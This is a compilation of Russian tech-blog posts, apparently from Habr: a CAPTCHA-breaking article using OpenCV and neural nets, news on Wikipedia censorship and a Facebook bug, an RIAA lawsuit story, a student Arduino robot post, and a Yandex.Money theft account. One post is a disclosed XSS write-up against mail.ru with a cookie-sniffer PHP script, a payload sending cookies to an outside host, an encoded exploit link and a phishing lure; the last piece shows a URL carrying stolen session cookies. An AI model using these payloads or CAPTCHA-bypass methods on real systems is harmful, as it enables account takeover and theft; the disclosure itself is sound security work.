Можно было бы на этом и остановиться, но так получается всего 73%, что меня совсем не устраивает — всего на 4% лучше, чем результат заведомо более сложной CAPTCHA. Итак, следующим шагом будет обратный поворот символов. Здесь нам пригодится уже упомянутый мной факт о том, что местные символы хорошо вписываются в прямоугольник. Идея состоит в том, чтобы найти описывающий прямоугольник для каждого символа, а затем по его наклону вычислить наклон собственно символа. Здесь под описывающим прямоугольником понимается такой, что он, во-первых, содержит в себе все пиксели данного символа, а, во-вторых, имеет наименьшую площадь из всех возможных. Я пользуюсь готовой реализацией алгоритма поиска такого прямоугольника из OpenCV (MinAreaRect2).



Дальше, как всегда, следует распознавание.

Этот алгоритм успешно распознаёт 86% изображений при средней ошибке в 0.16 символа/изображение, что подтверждает предположение о том, что эта CAPTCHA — действительно самая простая. Впрочем, и оператор не самый крупный…

Yellow


Наступает самое интересное. Так сказать, апофеоз моей творческой деятельности :) Эта CAPTCHA — действительно самая сложная как для компьютера, так и, к сожалению для человека.



Достоинства:
  • Шум в виде пятен и линий
  • Поворот и масштабирование символов
  • Близкое расположение символов

Недостатки:
  • Очень ограниченная палитра
  • Все линии очень тонкие
  • Пятна часто не пересекаются с символами
  • Угол поворота всех символов приблизительно одинаков

Над первым шагом я думал долго. Первое, что приходило в голову — поиграться с локальными максимумами (Dilate), чтобы удалить мелкий шум. Однако, такой подход приводил к тому, что и от букв мало что оставалось — только рваные очертания. Проблема усугублялась тем, что текстура самих символов неоднородная — это хорошо видно при большом увеличении. Чтобы от неё избавиться, я решил выбрать самый тупой способ — открыл Paint и записал коды всех цветов, встречающихся в изображениях. Оказалось, что всего в этих изображениях встречаются четыре различных текстуры, причём на три из них приходится по 4 различных цвета, а на последнюю — 3; более того, все компоненты этих цветов оказались кратными 51. Далее я составил таблицу цветов, при помощи которой удалось избавиться от текстуры. Впрочем, перед этим «ремапом» я ещё затираю все слишком светлые пиксели, которые обычно находятся по краям символов — иначе приходится помечать их как шум, а потом с ними бороться, в то время как информации в них содержится немного.

Итак, после этого преобразования на изображении находится не более 6 цветов — 4 цвета символов (будем их условно называть серым, синим, светло-зелёным и тёмно-зелёным), белый (цвет фона) и «неизвестный», обозначающий, что цвет пикселя на его месте не удалось отождествить ни с одним из известных цветов. Называть условно — потому что к этому моменту я избавляюсь от трёх каналов и перехожу к привычному и удобному монохромному изображению.



Следующим шагом стала очистка изображения от линий. Здесь ситуацию спасает тот факт, что эти линии очень тонкие — всего 1 пиксель. Напрашивается простой фильтр: пройтись по всему изображению, сравнивая цвет каждого пикселя с цветами его соседей (парами — по вертикали и горизонтали); если соседи по цвету совпадают, и при этом не совпадают с цветом самого пикселя — сделать его таким же, как и соседи. Я применяю чуть более навороченную версию того же фильтра, который работает в два этапа. На первом он оценивает соседей на расстоянии 2, на втором — на расстоянии 1. Это позволяет добиться вот такого эффекта:



Далее я избавляюсь от большинства пятен, а также от «неизвестного» цвета. Для этого я сначала ищу все мелкие связные области (меньшие 15 по площади, если быть точным), наношу их на чёрно-белую маску, после чего результат объединяю с областями, занятыми «неизвестным» цветом.



При помощи этих масок я натравливаю на изображение алгоритм Inpaint (а точнее, его реализацию в OpenCV). Это позволяет весьма эффективно вычистить большую часть мусора из изображения.



Однако, реализация этого алгоритма в OpenCV была создана для работы с фотографиями и видео, а не распознавания искусственно созданных изображений с зашумлённым текстом. После его применения появляются градиенты, чего хотелось бы избежать, чтобы упростить сегментацию. Таким образом, приходится производить дополнительную обработку, а именно — повышение резкости. Для цвета каждого пикселя я вычисляю ближайший к нему из вышеупомянутой таблицы (напомню, там 5 цветов — по одному на каждую из текстур символов и белый).



Наконец, последним шагом препроцесса будет удаление всех оставшихся мелких связных областей. Появляются они после применения Inpaint, поэтому никакого повторения здесь нет.



Переходим к сегментации. Её сильно усложняет тот факт, что символы находятся очень близко друг к другу. Может случиться такая ситуация, что за одним символом не видно половину другого. Совсем плохо становится, когда эти символы ещё и одного цвета. Кроме того, остатки мусора также играют свою роль — может случиться так, что на исходном изображении линии в большом количестве пересекались в одном месте. В этом случае тот алгоритм, который я описал ранее, окажется неспособным от них избавиться.

После недели, проведённой в бесплодных попытках написать сегментацию так же, как и в предыдущих случаях, я забил на это дело и сменил тактику. Моя новая стратегия заключалась в том, чтобы разделить весь процесс сегментации на две части. В первой оценивается угол поворота символов и выполняется обратный поворот. Во второй из уже развёрнутого изображения заново выделяются символы. Итак, приступим. Начнём, как всегда, с поиска компонентов связности.



Затем нужно оценить угол поворота каждого символа. Ещё при работе с оператором-фанатом-гринписа я придумал алгоритм для этого, но написал и применил его только здесь. Для того чтобы проиллюстрировать его работу, проведу аналогию. Представьте себе поршень, который движется на чёрно-белое изображение символа снизу вверх. Ручка поршня, за которую его толкают, расположена вертикально, рабочая площадка, которой он толкает — горизонтально, параллельно нижней части изображения и перпендикулярно ручке. Ручка прикреплена к площадке посередине, и в месте присоединения находится подвижное сочленение, в результате чего площадка может поворачиваться. Да простят меня специалисты по терминологии.

Пусть ручка двигается вверх, толкая перед собой площадку по законам физики. Будем считать, что материальным является только белое изображение символа, а сквозь чёрный фон поршень с лёгкостью проходит. Тогда поршень, дойдя до белого цвета, начнёт с ним взаимодействовать, а именно, поворачиваться — при условии, что сила к ручке всё ещё прикладывается. Остановиться он может в двух случаях: если он упёрся в символ по обе стороны от точки приложения силы, или если он упёрся в символ самой точкой приложения силы. Во всех остальных случаях он сможет продолжать движение. Внимание, кульминация: будем считать, что угол поворота символа — это угол наклона поршня в тот момент, когда он остановился.



Этот алгоритм довольно точен, но заведомо слишком большие результаты (больше 27 градусов) я не учитываю. Из оставшихся я нахожу среднее арифметическое, после чего целиком всё изображение поворачиваю на минус этот угол. Затем выполняю поиск компонентов связности ещё раз.



Дальше становится всё интереснее и интереснее. В предыдущих примерах я начинал различные махинации с полученными сегментами, после чего передавал их нейросети. Здесь всё иначе. Сначала, для того чтобы хотя бы частично восстановить информацию, утраченную после разделения изображения на компоненты связности, я на каждом из них тёмно-серым цветом (96) дорисовываю «фон» — то, что было рядом с вырезанным сегментом, но в него не попало, после чего сглаживаю очертания символов, применяя ту же процедуру, что и в препроцессе для линий (с расстоянием до соседа, равным единице).



Формально (с точки зрения модулей программы) здесь сегментация заканчивается. Внимательный читатель, должно быть, заметил, что нигде не упоминалось разделение слипшихся символов. Да, это так — на распознавание я их передаю именно в таком виде, а допиливаю уже на месте.

Причина заключается в том, что тот метод разделения слипшихся символов, который был описан ранее (с наименьшей проекцией) здесь не работает — шрифт выбран авторами весьма удачно. Поэтому приходится применять другой, более сложный подход. В основе этого подхода лежит идея, что нейросеть можно использовать для сегментации.

В самом начале я описывал алгоритм, позволяющий найти количество символов в сегменте при известой ширине этого сегмента и общем количестве символов. Этот же алгоритм используется и здесь. Для каждого сегмента вычисляется количество символов в нём. Если он там один — ничего допиливать не нужно, и этот сегмент сразу отправляется >>= в нейросеть. Если же символ там не один, то вдоль сегмента на равных расстояниях расставляются потенциальные разделители. Затем каждый разделитель двигается в своей небольшой окрестности, и попутно вычисляется реакция нейросети на символы около этого разделителя, после чего остаётся лишь выбрать максимум (на самом деле, там всё это делает довольно тупой алгоритм, но, в принципе, всё действительно приблизительно так).

Естественно, участие нейросети в процессе сегментации (или досегментации, если угодно) исключает возможность использовать ту схему обучения нейросети, которую я уже описывал. Если точнее, он не позволяет получить самую первую нейросеть — для обучения других может использоваться она. Поэтому я поступаю довольно просто — использую обычные методы сегментации (проекция) для обучения нейросети, в то время как при её использовании в работу вступает вышеописанный алгоритм.

Есть ещё одна тонкость, связанная с использованием нейросети в этом алгоритме. В предыдущих примерах нейросеть обучалась на почти необработанных результатах препроцесса и сегментации. Здесь это позволяло получить не более 12% успешного распознавания. Меня это категорически не устраивало. Поэтому, прежде чем начинать очередную эпоху обучения нейросети, я вносил в исходные изображения различные искажений, грубо моделирующие реальные: добавить белых/серых/чёрных точек, серых линий/кругов/прямоугольников, повернуть. Также я увеличил trainset с 200 изображений до 300 и добавил так называемый validset для проверки качества обучения во время обучения на 100 изображений. Это позволило добиться увеличения производительности где-то процентов на пять, а вкупе с сегментацией нейросетью как раз и дало тот результат, о котором я говорил в начале статьи.

Предоставление статистики осложнено тем, что у меня в итоге получилось две нейросети: одна давала больший процент распознавания, а другая — меньшую ошибку. Здесь я привожу результаты первой.

Всего, как я уже говорил неоднократно, в testset насчитывалось 100 изображений. Из них успешно распознано было 20, неудачно, соответственно, 80, а ошибка составила 1.91 символа на изображение. Заметно хуже, чем у всех других операторов, но и CAPTCHA соответствующая.

Вместо заключения


Всё, что относится к этой работе, я выложил в специальной ветке форума на своём сайте, в частности: исходный код, файлы нейросетей и изображения.

Хотелось бы и в следующем году в чём-нибудь поучаствовать — хотя бы в том же Балтийском конкурсе (а после него, желательно, и в Intel ISEF), но творческий кризис даёт о себе знать — не получается придумать вменяемую тему для проекта, а продолжать возиться с капчами нет никакого желания. Возможно, хабрасообщество сможет мне помочь…

Идеи, которые у меня были, но ни одна из которых мне не нравится — эти функциональная ОС и распределённые (и/или анонимные) сети. К сожалению, первое, вероятно, для меня будет слишком сложно (да и кому они нужны, эти функциональные оси?), а второе уже сделано, и сделано неплохо (I2P, Netsukuku). В то же время, хочется чего-то, что, во-первых, возможно сделать за год (хотя бы вдвоём), и во-вторых, серьёзно претендовало бы на высокое место на том же ISEF. Может быть, вы сможете подсказать, в каком направлении мне следует двигаться?


Основатель Википедии Джимми Уэйлс прокомментировал попытки российских властей заблокировать отдельные страницы энциклопедии, заявив, что Википедия не будет подчиняться давлению слабых и трусливых политиков. Он также отметил, что блокировки всегда предпочтительнее, чем уступки цензорам, пишут Викиновости.

Ранее, 5 апреля, фонд «Викимедиа РУ» получил уведомление о внесении статьи «Курение каннабиса» в «Единый реестр запрещённых сайтов». Позже выяснилось, что на протяжении полугода в «Единый реестр» внесли 15 страниц Википедии, однако Роскомнадзор не уведомлял об этом ни фонд «Викимедиа РУ», ни провайдеров.

При этом действия российских властей привели к «эффекту Стрейзанд» — посещаемость статьи о курении каннабиса резко возросла и её посетили даже те, кто никогда не интересовался этой тематикой:



8 апреля представитель Роскомнадзора заявил «Интерфаксу», что Википедия пошла на сотрудничество и прислала приемлемую редакцию статьи. Однако представители самой Википедии назвали это ложью и попыткой власти сохранить лицо.

Полный комментарий Джимми Уэйлса:

По моему мнению, блокировки всегда предпочтительнее, чем уступки цензорам. Важно понять, что страх полномасштабных блокировок проекта основывается на том, что некоторые (надо полагать, небольшие) интернет-провайдеры неспособные по техническим причинам заблокировать страницы определённых статей, начнут блокировать Википедию целиком, ссылаясь на законы своей страны. Поверьте мне, те провайдеры, которые начнут блокировать сайт целиком, тогда как другие только определённые страницы, будут терять клиентов очень-очень быстро. Мы не слабы — мы очень сильны. Подчиняться давлению слабых и трусливых политиков — тех, которые боятся распространения знаний, — это не путь Википедии.


Если ваша страница в Facebook не является публичной, то другие, по идее, не имеют возможности что-либо на ней писать. Однако разработчик из Палестины Халил Шритех обнаружил уязвимость, которая позволяла любому пользователю разместить ссылку на чужой странице, пишет The Verge.

Шритех сообщил об ошибке в Facebook в надежде получить вознаграждение, но компания проигнорировала проблему, ответив, что это не баг. В итоге он, используя этот же баг, запостил сообщение о нём прямо на страницу Марка Цукерберга.

Перед тем, как сообщить о баге в Facebook, Шритех протестировал его на Саре Гудин — подруге Цукерберга. В письме в Facebook он описал подробности, отметив, что служба безопасности может не увидеть его пост на странице Гудин, поскольку её профиль открыт только для друзей. Несмотря на прикреплённый скриншот поста, инженер Facebook, назвавшийся Эмракулом, ответил: «Я сожалею, но это не ошибка».

Неудовлетворённый ответом, Шритех решил самостоятельно уведомить Марка Цукерберга о баге, разместив пост на его странице. Через несколько минут инженер Facebook Ола Окелола связался со Шритехом, запросив подробную информацию о баге. Facebook отключил аккаунт Шритеха, по-видимому опасаясь других последствий.

Сейчас аккаунт Шритеха снова активирован, но компания утверждает, что в его изначальном сообщении о баге «было недостаточно технической информации». В письме Шритеху инженер Facebook, назвавшийся Джошуа, написал, что компания «не может заплатить вам за эту уязвимость, потому что ваши действия нарушили наши условия использования сервиса».
Пока по эту сторону Атлантики утихают волны от кораблекрушения, произошедшего в прошлом месяце, в Новом Свете разгорается не менее интересная интрига, связанная с копирайтом, RIAA (этими буквами скоро будут пугать детей), звукозаписью, профессорами и студентами американских вузов. Правда на этот раз никто не пытается доказать свою невиновность, как раз наоборот — подсудимый признает, что он виновен, но дело все-равно обещает стать одним из самых интересных судебных процессов в истории копирайта. Обо всем, впрочем, по-порядку.

Дело Джоэля Тененбаума (Joel Tenenbaum), о котором сегодня пойдет речь, началось в позапрошлом году. Студент университета Бостона — Джо, ничем не отличается от тысяч других учащихся. В том числе и использованием P2P для поиска и скачивания интересной ему музыки. Поэтому история, как ей и положено, начинается вполне классическим образом — штрафом на $3500 в далеком 2003, в ответ на который Джоэль предложил RIAA компенсацию в размере $500. Когда дело дошло до суда, где у Джоэля не оказалось адвоката и 25-и летнему парню пришлось самому отстаивать свои права, он предлагал $5000 но и эта сумма была снова отвергнута.

Судья Нэнси Гертнер (Nancy Gertner), которая вела тяжбу, озаботилась судьбой выпускника и познакомила его с Чарли Нессоном (Charlie Nesson) – профессором права из Гарварда. Именно эта случайность стала переломной в судьбе Тененбаума и, вполне возможно, копирайта в том виде, к которому мы привыкли.

Стоит сказать и пару слов о самом Нессоне, известном так же как «Чарли миллиард долларов» (Billion Dollar Charlie). Этот человек не просто известный юрист и уважаемый профессор, это личность которая делает историю. К примеру, Нессон был одним из юристов, ведущих дело, которое легло в основу книги, а затем и фильма «Гражданский Иск». Поэтому как только Чарли согласился взять дело студента, который обвинялся в нарушении копирайта (распространение музыки), дело сразу же приобрело очень интересный оттенок и интригу. До сих пор разочароваться в ней не пришлось.

Некоторые сомнения были, впрочем, и у профессора. Первым вопросом, который он задал сам себе был: «Как, черт возьми, я собираюсь сделать это? Ведь я не уголовный адвокат». Ответ нашелся очень быстро — судебное дело могло бы стать отличным уроком для студентов Нессона из Гарвардской школы права, у которых, пожалуй, еще никогда не было возможности поучаствовать в суде по столь волнующему всех вопросу. Студенты заперлись в университетской библиотеке, а Нессон назвал все это «сеть, как инструмент изучения». К слову сказать — Чарли был одним из со-основателей Berkman Center for Internet & Society при университете Гарварда десять лет назад, он даже ведет аккаунт в твиттере.

Но вернемся к самому делу. Очевидно, что первым вопросом как для Тененбаума, так и Нессона было то, как заставить органы юстиции обратить внимание на растущую проблему в среде копирайта и, в особенности, колоссальной жадности RIAA? Сейчас мы знаем, что The Pirate Bay не спасла т.н. «защита кинг-конга» (которая была очень громкой, иначе каждый второй не узнал бы ничего об этом деле). Знает это и Чарли Нессон, который избрал несколько другой путь ведения судебного дела, который сам он называет «радикальная прозрачность». Такой «прозрачности», граничащей с наглостью, не ожидал ни один из адвокатов RIAA, которые при виде Нессона начинают лаять как дворовые собаки.

Этому есть вполне адекватная причина — Нессон вовсю забавляется с представителями обвиняющей стороны, заполняет бланки официальных извинений, подает прошение на вебкастинг каждого заседания суда (по этому пункту отказ уже получен), пугает всех и каждого своим доскональным знанием американского права — с этим ничего не могут поделать даже судьи, ведь они не могут прийти на дело со справочником. А еще это сумасшедшее желание записывать абсолютно все, включая даже обычно конфиденциальные звонки адвокатов, что больше всего раздражает представителей RIAA. Наверное они еще не знают, что каждый (без шуток) документ участвующий в деле заботливо сканируется и выкладывается на специальный портал в сети, созданный студентами Нессона, где они тщательно обрабатывают каждую крупицу информации в надежде на то, что есть законный и конституциональный способ защитить личность от нападок «звукозаписывающих студий».

Все это напоминает чистое сумасшествие если бы не одно «но». Есть ли способ победить безумие? Если бы вы спросили об этом Чарли Нессона, то ответ был бы вполне конкретным. По его мнению, это дело — не попытка защитить самого Джоэля, но призвать народ к открытой дискуссии по вопросу копирайта с 1976 года. И если правительство США обратит свой взор на Нессона, а скорее всего ему придется это сделать, то для звукозаписывающей индустрии в общем, и RIAA в частности, могут наступить интересные времена.

Немаловажно понимать и то, что основная цель этой самой «дискуссии» — не изменение ситуации с исками пользователям P2P (это противозаконно, пока, и ничего поделать с этим нельзя), а уменьшение суммы штрафов, которые RIAA охотно выписывает всем обвиняемым. Так, если первый штраф Джоэля был всего лишь на $3500, то в случае проигрыша дела ему грозит сумма в $150 000 на каждую песню. Фантастическая сумма, практически вынуждающая виновного разориться: максимальный размер штрафа — $1 000 000, эти деньги выплачиваются обычно всю жизнь. Цель Нессона — это «приземлить» размер штрафов, сделать их разумными и адекватными.

Суть в том, что типичный иск «RIAA–частное лицо», являясь гражданским делом, проходит как уголовно наказуемое преступление, право на рассмотрение которого принадлежит только государству. Немаловажен и тот факт, что ни один суд не пытался рассматривать P2P как некоммерческий «fair use» современных технологий. Правительство США, впрочем, все равно отвергло все аргументы Нессона по этому поводу, но это не столь значительно.

Важно то, что Нессон твердо уверен в необходимости общественных дебатов по вопросу копирайта, которые не случатся до тех пор, пока правительство не посчитает нужным вторгнуться в эту область. Но с колоссальным общественным резонансом, который произошел в Европе после суда над «TPB» и всей информацией по делу, доступной благодаря Нессону и его студентам, держатели копирайта, профессора и правительство заинтересованы в том, чтобы диалог состоялся.

Как говорит сам Чарли: «Такой диалог не может состоятся нигде, кроме как в интернете. Акт Копирайта 1976 года даже не признает существование такой вещи, как всемирная паутина, которая уже сейчас изменила жизнь каждого до неузнаваемости». По его мнению, в переработке нуждается вся законодательная база связанная с вопросами держателей авторского права, а в особенности — документ 1998 года (так же называемый «Акт Защиты Микки-Мауса», благодаря которому он не попал в «общественное достояние»).

В то время, пока Джордж Буш младший был президентом, такая инициатива по факту была бы убита на корню. Но сейчас, когда во главе Белого Дома сидит человек что-то да разбирающий в технологиях, а главным прокурором США стала начальница Нессона — Елена Каган (Elena Kagan), бывшая глава Гарвардской школы права, вполне возможно что изменения, к которым так стремятся Нессон и его студенты, найдут себе место в новых законодательных актах.

Остается лишь надеятся на то, что разумность победит жадность. Впрочем, когда дело ведет человек, открыто предлагающий RIAA «принять участие в эротической экскурсии», можно смело верить в то, что нынешнее положение вещей с «пиратством» круто изменится уже в ближайшее время.

По следам ArsTechnica
Не так давно прочитал на Хабре пост, в котором предлагалось посетить бесплатное мероприятие, посвященное вопросам информационной безопасности. Так как мероприятие проходило в моем городе, я решил, что мне нужно непременно туда сходить. Первое занятие было посвящено уязвимостям на сайтах типа XSS. После занятия я решил, что нужно закрепить полученные знания в реальных условиях. Выбрал для себя несколько сайтов, которые относятся к моему городу и начал во все формы пытаться воткнуть свой скрипт. В большинстве случаев скрипт отфильтровывался. Но бывало так, что «алерт» и срабатывал, и появлялось мое сообщение. О найденной уязвимости сообщал администраторам, и они быстро все исправляли.

В один из таких дней проверяя свежую почту на mail.ru мне на глаза попалась форма для поиска писем в почтовом ящике. Изредка я пользовался этим поиском, чтобы найти что-то нужное в куче своих старых писем. Ну, а так как я в последние пару дней вставлял свой «алерт» практически везде куда только можно было, рука рефлекторно потянулась к этой форме поиска. Набрал код своего скрипта и нажал Enter. Каково же было мое удивление, когда на экране я увидел до боли знакомое сообщение…




На лекции Open InfoSec Days докладчик говорил, что программисты довольно скептически относятся к уязвимостям подобного рода, мол «алерт? Ну и что с того? Это не опасно». Если на других сайтах я довольствовался только этим окошком с моим сообщением, то в данном случае я решил пойти дальше и показать, что из такого вот «алерта» может получиться.

Итак, скрипт срабатывает, а значит, есть уязвимость. Следовательно, можно попробовать запустить какой-нибудь другой скрипт. Например, скрипт, который передает cookies другого пользователя нам. Чтобы скрипт сработал, нужно заставить пользователя выполнить наш скрипт. Сделать это можно отослав ему письмо с соответствующей ссылкой, после нажатия, на которую произойдет поиск по почтовому ящику и выполнится нужный нам код.

На то, чтобы понять механику уязвимости, потребовалось некоторое время и множество экспериментов. Иногда скрипт срабатывал, иногда отфильтровывался. После некоторых усилий эмпирическим путем было установлено, что скрипт 100% срабатывает только в том случае, если поиск по письмам даст положительный результат. То есть когда пользователь выполняет поиск с нашим скриптом, нужно чтобы хотя бы одно письмо в его почтовом ящике по заданным параметрам нашлось. Устроить это не сложно.

Дальше я занялся ссылкой, которая запустит поиск. Отследил закономерность в адресной строке, по которой выполняется поиск:



Примерно такую ссылку и будем отправлять в письме. Так как наша задача забрать себе чужие cookies, нам понадобится сниффер. Был написан скрипт sniff.php и залит на сторонний хостинг. Код сниффера такой:

<?php
if (isset($_GET['cookie']))
{
$text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS \of F Y h:i:s A');
$text .= "\n".str_repeat("=", 22) . "\n" . $_GET['cookie']."\n".str_repeat("=", 22)."\n";
$file = fopen("sniff.txt", "a");
fwrite($file, $text);
fclose($file);
}
?>


Так же вместо «алерта» нужен скрипт, который будет передавать cookies нашему снифферу. Этот скрипт напишем в отдельном файле и будем его подгружать в наш поиск. Создал файл test.js с нужным кодом и залил на хостинг. Код скрипта такой:

img=new Image();
img.src='http://sitename.ru/sniff.php?cookie='+document.cookie;
function F() {
location='http://www.solife.ru';
}
setTimeout(F, 5000);


Что хотелось бы здесь пояснить. Поставим себя на место злоумышленника. Нужно чтобы пользователь кликнул по ссылке. Как его заставить это сделать? Можно пообещать золотые горы и чтобы их получить нужно, проследовать по нашей ссылке на сайт. Но не думаю, что это сработает. Народ уже на такое не ведется (сам постоянно удаляю такие письма, даже не читая). Поэтому будем играть на человеческой жалости, благо она еще существует в природе. Попросим проголосовать на сайте за спасение истребляемых животных. Вначале заберем cookies, а потом переправим пользователя на сайт для голосования. Таймаут для переадресации выставил в 5 секунд, в противном случае cookies просто не успевали передаться снифферу, а пользователя сразу перебрасывало на сайт про животных. Вместо «алерта» использовал следующий скрипт:



Когда со скриптами было покончено, я занялся написанием письма. Придумал примерно следующее содержание:

Получилось довольно цинично, но старался приблизить условия к максимально реальным. В конце письма дописана строчка со скриптом, это чтобы наше письмо нашлось, когда мы сделаем поиск. Чтобы строка не вызывала лишних вопросов закрасил ее белым цветом. Так же в слове «http» поставил «пробел» чтобы строка не распозналась и не преобразовалась в ссылку. Иначе, несмотря на то, что скриптовая строка написана шрифтом белого цвета ссылка бы выделилась синим цветом у адресата, а этого нам не надо. Умный поиск все равно найдет и распознает эту строку, не смотря на пробелы.

Ссылку для поиска использовал следующую:

e.mail.ru/cgi-bin/gosearch?q_folder=0&q_query=%27%3E%3Cscript%20src%3D%27http%3A%2F%2Fsitename.ru%2Ftest.js%27%3E%3C%2Fscript%3E

Для скрипта применил URL кодирование, чтобы ничего не отфильтровалось. Так же для поиска добавил параметр «q_folder=0», это чтобы поиск происходил по папке «Входящие».

Письмо готово, отправляем его. В качестве адресата я использовал свой второй почтовый ящик на этом же сервисе. Смотрим, что пришло на другой ящик.



Наш текст скрипта не видно, так как он сливается с фоном. Нажмем на ссылку и посмотрим, что произойдет. Пользователь перемещается в результаты поиска писем по заданному нами параметру. Наше письмо, которое мы отсылали видно в результатах поиска. В это время наш скрипт уже сработал и отослал cookies пользователя снифферу. Через 5 секунд (время зависит от настроек скрипта) пользователь переправляется на сайт с голосованиями.

Проверяю свой файл sniff.txt:



Так как целью моей не является кража чужих ящиков или получения доступа к ним, на этом повествование закончу. Но теоретически можно подменить свои cookies на чужие и получить доступ к чужому почтовому ящику. В общем если злоумышленник загорится целью, то он найдет применение полученной информации.

Хотелось бы поблагодарить Сергея Белова (BeLove), за его познавательное мероприятие Open InfoSec Days, которое вдохновило меня на поиски уязвимостей на сайтах.

Так же хотелось бы выразить благодарность команде mail.ru, которые закрыли эту уязвимость в считаные минуты.
Всем добра, хабрапользователи. Да, я сделал робота.



Пишу сей пост дабы популяризовать такое течение как «Шаг в будущее» МГТУ им. Н. Э. Баумана, ведь все мы знаем, что на хабрахабре достаточно школьников и тех, кто интересуется современным образованием.

«Шаг в будущее» — это олимпиада для школьников старших классов (10-х и 11-х), умных, готовых заниматься научной деятельностью.




Состоит она из двух этапов:
  • работа над проектом и защита его перед комиссией
  • написание олимпиады по физике


Исходя из результатов первой части (т. е. сколько балов ты получишь за защиту), участник допускается либо до второго этапа, либо отфильтровывается.

Это был краткий экскурс. Теперь расскажу как непосредственно все этапы проходил я.
Начну с того, что учился я в лицее при МГТУ им. Н. Э. Баумана целых 2 года. Да, нам помогли, но помогли только информацией, что есть такая олимпиада и что с помощью нее можно поступить в университет. Программированием я занимаюсь с 13 лет, и сейчас успешно работаю на одну из компаний.

Первым делом я пошел в кабинет 354 главного учебного корпуса. Там оставил информацию, что я такой-то хочу на такую-то кафедру такого-то факультета. Все просто.
Через месяца 2 надо было уже подавать аннотацию проекта. К этому моменту участнику должны были уже дать контакты научного руководителя, с которым, собственно, участник и занимается проектом (я делал все сам). Я списывался со своим научруком по емейлу, и в конце-концов определился с темой проекта (благодаря хабру). Мы пришли к выводу, что я буду делать робота на основе Arduino, ибо это круто и зрелищно.

Итак, я уже заказал arduino duemilanove на ebay’е и получил его спустя много-много времени благодаря Почте России. Хорошая штука. Попробовал написать программу, которая включает-выключает светодиод. Ну, круто. А что дальше?
Тогда я абсолютно не знал, что дальше делать с этой платой. Путем поисков на ebay’е я нашел колесную платформу mr. basics.



Да, и ее я внезапно получил по почте. Китайская никчемная платформа. В конце-концов у нее стерлись все шестеренки и она стала плохо ездить. Пришлось заказать другую.



Mr. basics я долго и упорно пытался подключить к ардуино через транзисторы, т. к. совсем не хватало силы тока для движения моторчиков (на что меня натолкнул мой научрук, спасибо ему, хоть тут я немного начал понимать схемотехнику). А мощности все равно не хватало. Тогда я нагуглил motor shield для arduino, с помощью которого можно подключать сервоприводы и моторы. Да и к тому же, шилд имеет свой класс для arduino IDE. Мне это очень помогло. Подключить просто, написать код тоже просто. Теперь моторчики заработали.

Для управления моторами нужно было написать свой софт. Я выбрал Qt. Была написана простая программка, где были 4 стрелочки. Нажатием отправлялся массив данных через com-port до самой платы. Массив содержал: направление правого мотора, скорость правого мотора, направление левого мотора, скорость левого мотора.

Все отлично работало через провод. Теперь я начал искать радио-модули. Нашел некие APC 220.



Я заказал их на ebay’е. Китайский продавец уверял меня, что мне хватит одного модуля для управления с компьютера ардуиной. Я был молод и зелен, долго ломался, но поверил его настойчивости. И, внезапно! Надо было, конечно же, два модуля. В общем, на мне нажились. Второй модуль он прислал не тот (да и я его сжег), пришлось мне искать в Москве.
APC 220 очень сложен в подключении, нет никакой документации, я бился неделю только чтобы получилось его подключить.

Далее, мне стало мало, и я решил подключить ультразвуковой дальномер, чтобы:
  1. определять расстояние до первого препятствия
  2. автоматически останавливаться перед этим препятствием, дабы не повредить столь дорогую технику.




За информацию по данному модулю и вообще за него самого спасибо Илье Данилову (idanilov.ru). Он мне очень помог с настройкой и подключением.

В итоге, получился вот такой робот, управляемый по радио через PC:






В феврале нужно было представить реферат для защиты, в котором описывались этапы разработки робота. Получилось страниц 20. Его рецензировали и также выставляли балы. В марте уже проходила защита, по итогам которой допускали к олимпиаде по физике. В мае были определены победители и призеры олимпиады. В этом году в МГТУ поступили и призеры, и победители.

Теперь я уже студент кафедры программной инженерии МГТУ им. Н. Э. Баумана. Спасибо за внимание.
Продолжение детектива «Как увели мои деньги с кошелька Яндекса». Часть 3. XSS
Предыдущие части можно найти тут:
Часть 1
Часть 2.1
Часть 2.2

Внимание! Часть неожиданная!


В этой части:
  1. Freelance.ru
  2. XSS на Яндекс.Словари
  3. Flashback
  4. Ответ от Яндекс.Денег
  5. Вопросы к Яндексу


Внимание! Никакого PR и АНТИPR в статье не подразумевается!

Freelance.ru


Я, как и многие хабрапользователи иногда поискиваю себе работку на различный сайтах фриланса. Так было и сегодня с утра — встал рано, делать было нечего, вот думал поискать себе работу с напарником. Искал сразу на нескольких сайтах. Увидел одно из предложений на сайте freelance.ru: «Редизайн сайта», да и цена, вроде не плохая: 8000 ру. Дай, думаю открою и погляжу. В задании промелькнуло что-то знакомое, но я как-то пропустил это. Начал смотреть на предложения к работе: все желали выполнить (народ, по ходу дела вообще не читает ничего, тупо предлагает свои услуги) и лишь пару комментариев меня остановили. Один из них гласил:
Когда же ты сдохнешь уже, спамер

Тут я сразу решил вернуться наверх и ткнуть на адрес сайта, указанный в задании: [Внимание! Тыкать на адрес стоит только если вы используете Firefox c NoScript! Почему? Читайте ниже и НЕ тыкайте на ссылку сразу, только после прочтения всей статьи! На всякий случай ссылку изменил по просьбе fstrange и fata1ex] _http://tarandaz.ru. Ткнул. Google Chrome перенес меня на знакомый для меня сайт, однако через пару секунд произошел редирект (так и не понял зачем он так решил сделать). Я увидел пустую страницу…

XSS на Яндекс.Словари


В адресной строке Google Chrome красовался интересный адрес:
http://httpz.ru/nzakazchik.gif?yandexuid=2318214601243884128;%20yp=2145906000.gp.65_084965:103_682149:1:5;%20yandex_gid=43;%20my=YyMCAQAA;%20yandex_mail=my_name;%20Virtual_id=16;%20yandex_login=my_name;%20L=YVdmDX9CAABmCEt8ClVwSn8DYAdBYQAGdy1mWzEVBEAiKClFBR82Pyo+ViQ5AFxTMScSIg4HLz4UJk8DAhIfGg==.1257846938.6157.282848.2cc34301b2ce0d38049606bca0c1f5fc;%20narod_login=my_name;%20Session_id=1257846940.2726.0.38263038.2:208547497:0.62207.1514.047497eb07f8d2e7628d5a62e9bd2bd9;%20yabs-frequency=/2/IE1v08459zvKUW211I6DVcm0WGL1Kjzv08458GIPUG211I7Q07e0WGKXyarw08459oT4UW211ISaq7a0WGKXmUKz0845WVzTUW211I6UZM80WGKXFSTt07W5F000//fGA11G46

Я начал разглядывать его и что я увидел?! Все правильно, переменные, содержащие в себе слова «yandex». Опана! Открываю Firefox с NoScript, перехожу заново по исходной ссылке и NoScript выдает: «Внимание! Предотвращена XSS атака!». «Круто», думаю. Лезу в исходный код основного сайта, вижу там такой тег:
